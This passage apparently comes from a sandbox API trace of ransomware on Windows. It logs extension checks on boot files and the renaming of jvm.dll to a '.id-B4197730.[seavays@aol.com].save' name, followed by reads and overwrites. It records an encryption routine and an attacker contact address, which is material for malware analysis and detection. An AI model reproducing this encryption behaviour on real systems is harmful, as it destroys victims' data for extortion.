[0206.612] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.612] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.612] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0206.612] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0206.612] lstrlenW (lpString=".doc") returned 4 [0206.612] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0206.613] lstrlenW (lpString=".docx") returned 5 [0206.613] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0206.613] lstrlenW (lpString=".pdf") returned 4 [0206.613] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0206.613] lstrlenW (lpString=".xls") returned 4 [0206.613] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0206.613] lstrlenW (lpString=".xlsx") returned 5 [0206.613] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0206.613] lstrlenW (lpString=".ppt") returned 4 [0206.613] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0206.613] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0206.613] lstrlenW (lpString=".zip") returned 4 [0206.613] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0206.613] lstrlenW (lpString=".rar") returned 4 [0206.613] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0206.613] lstrlenW (lpString=".bz2") returned 4 [0206.613] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0206.613] lstrlenW (lpString=".7z") returned 3 [0206.613] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0206.613] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0206.613] lstrlenW (lpString=".dbf") returned 4 [0206.613] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0206.613] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0206.613] lstrlenW (lpString=".1cd") returned 4 [0206.613] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0206.613] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0206.613] lstrlenW (lpString=".jpg") returned 4 [0206.613] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0206.614] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0206.614] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0206.614] lstrlenW (lpString=".doc") returned 4 [0206.614] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0206.614] lstrlenW (lpString=".docx") returned 5 [0206.614] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0206.614] lstrlenW (lpString=".pdf") returned 4 [0206.614] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0206.614] lstrlenW (lpString=".xls") returned 4 [0206.614] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0206.614] lstrlenW (lpString=".xlsx") returned 5 [0206.614] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0206.614] lstrlenW (lpString=".ppt") returned 4 [0206.614] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0206.614] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0206.614] lstrlenW (lpString=".zip") returned 4 [0206.614] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0206.614] lstrlenW (lpString=".rar") returned 4 [0206.614] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0206.614] lstrlenW (lpString=".bz2") returned 4 [0206.614] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0206.614] lstrlenW (lpString=".7z") returned 3 [0206.614] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0206.614] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0206.614] lstrlenW (lpString=".dbf") returned 4 [0206.614] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0206.615] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0206.615] lstrlenW (lpString=".1cd") returned 4 [0206.615] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0206.615] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0206.615] lstrlenW (lpString=".jpg") returned 4 [0206.615] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0206.615] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0206.615] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0206.615] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.616] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3caff14 | out: lpFileSize=0x3caff14*=49091) returned 1 [0206.616] CloseHandle (hObject=0x33c) returned 1 [0206.616] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0206.616] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.616] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.616] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0206.616] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0206.616] lstrlenW (lpString=".doc") returned 4 [0206.616] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0206.616] lstrlenW (lpString=".docx") returned 5 [0206.616] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0206.616] lstrlenW (lpString=".pdf") returned 4 [0206.616] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0206.616] lstrlenW (lpString=".xls") returned 4 [0206.616] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0206.616] lstrlenW (lpString=".xlsx") returned 5 [0206.617] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0206.617] lstrlenW (lpString=".ppt") returned 4 [0206.617] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0206.617] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0206.617] lstrlenW (lpString=".zip") returned 4 [0206.617] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0206.617] lstrlenW (lpString=".rar") returned 4 [0206.617] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0206.617] lstrlenW (lpString=".bz2") returned 4 [0206.617] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0206.617] lstrlenW (lpString=".7z") returned 3 [0206.617] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0206.617] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0206.617] lstrlenW (lpString=".dbf") returned 4 [0206.617] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0206.617] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0206.617] lstrlenW (lpString=".1cd") returned 4 [0206.617] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0206.617] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0206.617] lstrlenW (lpString=".jpg") returned 4 [0206.617] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0206.617] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0206.617] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0206.617] lstrlenW (lpString=".doc") returned 4 [0206.617] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0206.617] lstrlenW (lpString=".docx") returned 5 [0206.618] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0206.618] lstrlenW (lpString=".pdf") returned 4 [0206.618] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0206.618] lstrlenW (lpString=".xls") returned 4 [0206.618] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0206.618] lstrlenW (lpString=".xlsx") returned 5 [0206.618] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0206.618] lstrlenW (lpString=".ppt") returned 4 [0206.618] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0206.618] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0206.618] lstrlenW (lpString=".zip") returned 4 [0206.618] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0206.618] lstrlenW (lpString=".rar") returned 4 [0206.618] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0206.618] lstrlenW (lpString=".bz2") returned 4 [0206.618] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0206.618] lstrlenW (lpString=".7z") returned 3 [0206.618] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0206.618] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0206.618] lstrlenW (lpString=".dbf") returned 4 [0206.618] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0206.618] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0206.618] lstrlenW (lpString=".1cd") returned 4 [0206.618] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0206.618] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0206.618] lstrlenW (lpString=".jpg") returned 4 [0206.618] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0206.619] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0206.619] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0206.619] CreateFileW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.620] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3caff14 | out: lpFileSize=0x3caff14*=79200) returned 1 [0206.620] CloseHandle (hObject=0x33c) returned 1 [0206.620] GetFileAttributesW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui")) returned 0x20 [0206.620] GetFileAttributesW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.620] CreateFileW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.620] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0206.620] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0206.620] lstrlenW (lpString=".doc") returned 4 [0206.620] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0206.620] lstrlenW (lpString=".docx") returned 5 [0206.620] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0206.620] lstrlenW (lpString=".pdf") returned 4 [0206.620] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0206.620] lstrlenW (lpString=".xls") returned 4 [0206.621] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0206.621] lstrlenW (lpString=".xlsx") returned 5 [0206.621] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0206.621] lstrlenW (lpString=".ppt") returned 4 [0206.621] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0206.621] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0206.621] lstrlenW (lpString=".zip") returned 4 [0206.621] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0206.621] lstrlenW (lpString=".rar") returned 4 [0206.621] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0206.621] lstrlenW (lpString=".bz2") returned 4 [0206.621] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0206.621] lstrlenW (lpString=".7z") returned 3 [0206.621] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0206.621] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0206.621] lstrlenW (lpString=".dbf") returned 4 [0206.621] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0206.621] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0206.621] lstrlenW (lpString=".1cd") returned 4 [0206.621] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0206.621] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0206.621] lstrlenW (lpString=".jpg") returned 4 [0206.621] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0206.621] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0206.621] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0206.622] lstrlenW (lpString=".doc") returned 4 [0206.622] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0206.622] lstrlenW (lpString=".docx") returned 5 [0206.622] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0206.622] lstrlenW (lpString=".pdf") returned 4 [0206.622] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0206.622] lstrlenW (lpString=".xls") returned 4 [0206.622] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0206.622] lstrlenW (lpString=".xlsx") returned 5 [0206.622] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0206.622] lstrlenW (lpString=".ppt") returned 4 [0206.622] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0206.622] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0206.622] lstrlenW (lpString=".zip") returned 4 [0206.622] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0206.622] lstrlenW (lpString=".rar") returned 4 [0206.622] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0206.622] lstrlenW (lpString=".bz2") returned 4 [0206.622] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0206.622] lstrlenW (lpString=".7z") returned 3 [0206.622] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0206.622] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0206.622] lstrlenW (lpString=".dbf") returned 4 [0206.622] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0206.622] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0206.622] lstrlenW (lpString=".1cd") returned 4 [0206.623] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0206.623] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0206.623] lstrlenW (lpString=".jpg") returned 4 [0206.623] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0206.623] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0206.623] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0206.623] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.624] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3caff14 | out: lpFileSize=0x3caff14*=79192) returned 1 [0206.624] CloseHandle (hObject=0x33c) returned 1 [0206.624] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0206.624] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.624] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.624] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0206.624] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0206.624] lstrlenW (lpString=".doc") returned 4 [0206.624] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0206.624] lstrlenW (lpString=".docx") returned 5 [0206.624] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0206.624] lstrlenW (lpString=".pdf") returned 4 [0206.624] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0206.624] lstrlenW (lpString=".xls") returned 4 [0206.624] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0206.624] lstrlenW (lpString=".xlsx") returned 5 [0206.625] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0206.625] lstrlenW (lpString=".ppt") returned 4 [0206.625] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0206.625] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0206.625] lstrlenW (lpString=".zip") returned 4 [0206.625] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0206.625] lstrlenW (lpString=".rar") returned 4 [0206.625] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0206.625] lstrlenW (lpString=".bz2") returned 4 [0206.625] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0206.625] lstrlenW (lpString=".7z") returned 3 [0206.625] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0207.420] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[seavays@aol.com].save")) returned 1 [0207.427] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0207.428] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc64 | out: lpNewFilePointer=0x0) returned 1 [0207.428] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc24 | out: lpNewFilePointer=0x0) returned 1 [0207.428] ReadFile (in: hFile=0x360, lpBuffer=0x4129058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3cafc30, lpOverlapped=0x0 | out: lpBuffer=0x4129058*, lpNumberOfBytesRead=0x3cafc30*=0x40000, lpOverlapped=0x0) returned 1 [0207.443] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x2ccec0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc24 | out: lpNewFilePointer=0x0) returned 1 [0207.443] ReadFile (in: hFile=0x360, lpBuffer=0x4169058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3cafc30, lpOverlapped=0x0 | out: lpBuffer=0x4169058*, lpNumberOfBytesRead=0x3cafc30*=0x40000, lpOverlapped=0x0) returned 1 [0207.460] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3cafc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.460] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x826c40, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc24 | out: lpNewFilePointer=0x0) returned 1 [0207.461] ReadFile (in: hFile=0x360, lpBuffer=0x41a9058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3cafc30, lpOverlapped=0x0 | out: lpBuffer=0x41a9058*, lpNumberOfBytesRead=0x3cafc30*=0x40000, lpOverlapped=0x0) returned 1 [0207.901] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafec0 | out: lpNewFilePointer=0x0) returned 1 [0207.901] WriteFile (in: hFile=0x360, lpBuffer=0x4129020*, nNumberOfBytesToWrite=0xc00fa, lpNumberOfBytesWritten=0x3cafca8, lpOverlapped=0x0 | out: lpBuffer=0x4129020*, lpNumberOfBytesWritten=0x3cafca8*=0xc00fa, lpOverlapped=0x0) returned 1 [0208.388] SetEndOfFile (hFile=0x360) returned 1 [0208.389] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x435a100 [0208.396] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc74 | out: lpNewFilePointer=0x0) returned 1 [0208.396] WriteFile (in: hFile=0x360, lpBuffer=0x435a100*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3cafc80, lpOverlapped=0x0 | out: lpBuffer=0x435a100*, lpNumberOfBytesWritten=0x3cafc80*=0x40000, lpOverlapped=0x0) returned 1 [0208.399] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x2ccec0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc74 | out: lpNewFilePointer=0x0) returned 1 [0208.399] WriteFile (in: hFile=0x360, lpBuffer=0x435a100*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3cafc80, lpOverlapped=0x0 | out: lpBuffer=0x435a100*, lpNumberOfBytesWritten=0x3cafc80*=0x40000, lpOverlapped=0x0) returned 1 [0208.407] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x826c40, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc74 | out: lpNewFilePointer=0x0) returned 1 [0208.407] WriteFile (in: hFile=0x360, lpBuffer=0x435a100*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3cafc80, lpOverlapped=0x0 | out: lpBuffer=0x435a100*, lpNumberOfBytesWritten=0x3cafc80*=0x40000, lpOverlapped=0x0) returned 1 [0208.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a100 | out: hHeap=0x5c0000) returned 1 [0208.412] CloseHandle (hObject=0x360) returned 1 [0208.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0208.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0208.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0208.412] lstrlenW (lpString=".doc") returned 4 [0208.412] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0208.412] lstrlenW (lpString=".docx") returned 5 [0208.412] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0208.412] lstrlenW (lpString=".pdf") returned 4 [0208.412] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0208.412] lstrlenW (lpString=".xls") returned 4 [0208.412] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0208.413] lstrlenW (lpString=".xlsx") returned 5 [0208.413] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0208.413] lstrlenW (lpString=".ppt") returned 4 [0208.413] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0208.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0208.413] lstrlenW (lpString=".zip") returned 4 [0208.413] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0208.413] lstrlenW (lpString=".rar") returned 4 [0208.413] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0208.413] lstrlenW (lpString=".bz2") returned 4 [0208.413] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0208.413] lstrlenW (lpString=".7z") returned 3 [0208.413] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0208.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0208.413] lstrlenW (lpString=".dbf") returned 4 [0208.413] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0208.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0208.413] lstrlenW (lpString=".1cd") returned 4 [0208.413] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0208.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0208.413] lstrlenW (lpString=".jpg") returned 4 [0208.413] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0208.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0208.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0208.414] lstrlenW (lpString=".doc") returned 4 [0208.414] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0208.414] lstrlenW (lpString=".docx") returned 5 [0208.414] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0208.414] lstrlenW (lpString=".pdf") returned 4 [0208.414] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0208.414] lstrlenW (lpString=".xls") returned 4 [0208.414] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0208.414] lstrlenW (lpString=".xlsx") returned 5 [0208.414] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0208.414] lstrlenW (lpString=".ppt") returned 4 [0208.414] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0208.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0208.414] lstrlenW (lpString=".zip") returned 4 [0208.414] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0208.414] lstrlenW (lpString=".rar") returned 4 [0208.414] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0208.414] lstrlenW (lpString=".bz2") returned 4 [0208.414] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0208.414] lstrlenW (lpString=".7z") returned 3 [0208.414] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0208.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0208.414] lstrlenW (lpString=".dbf") 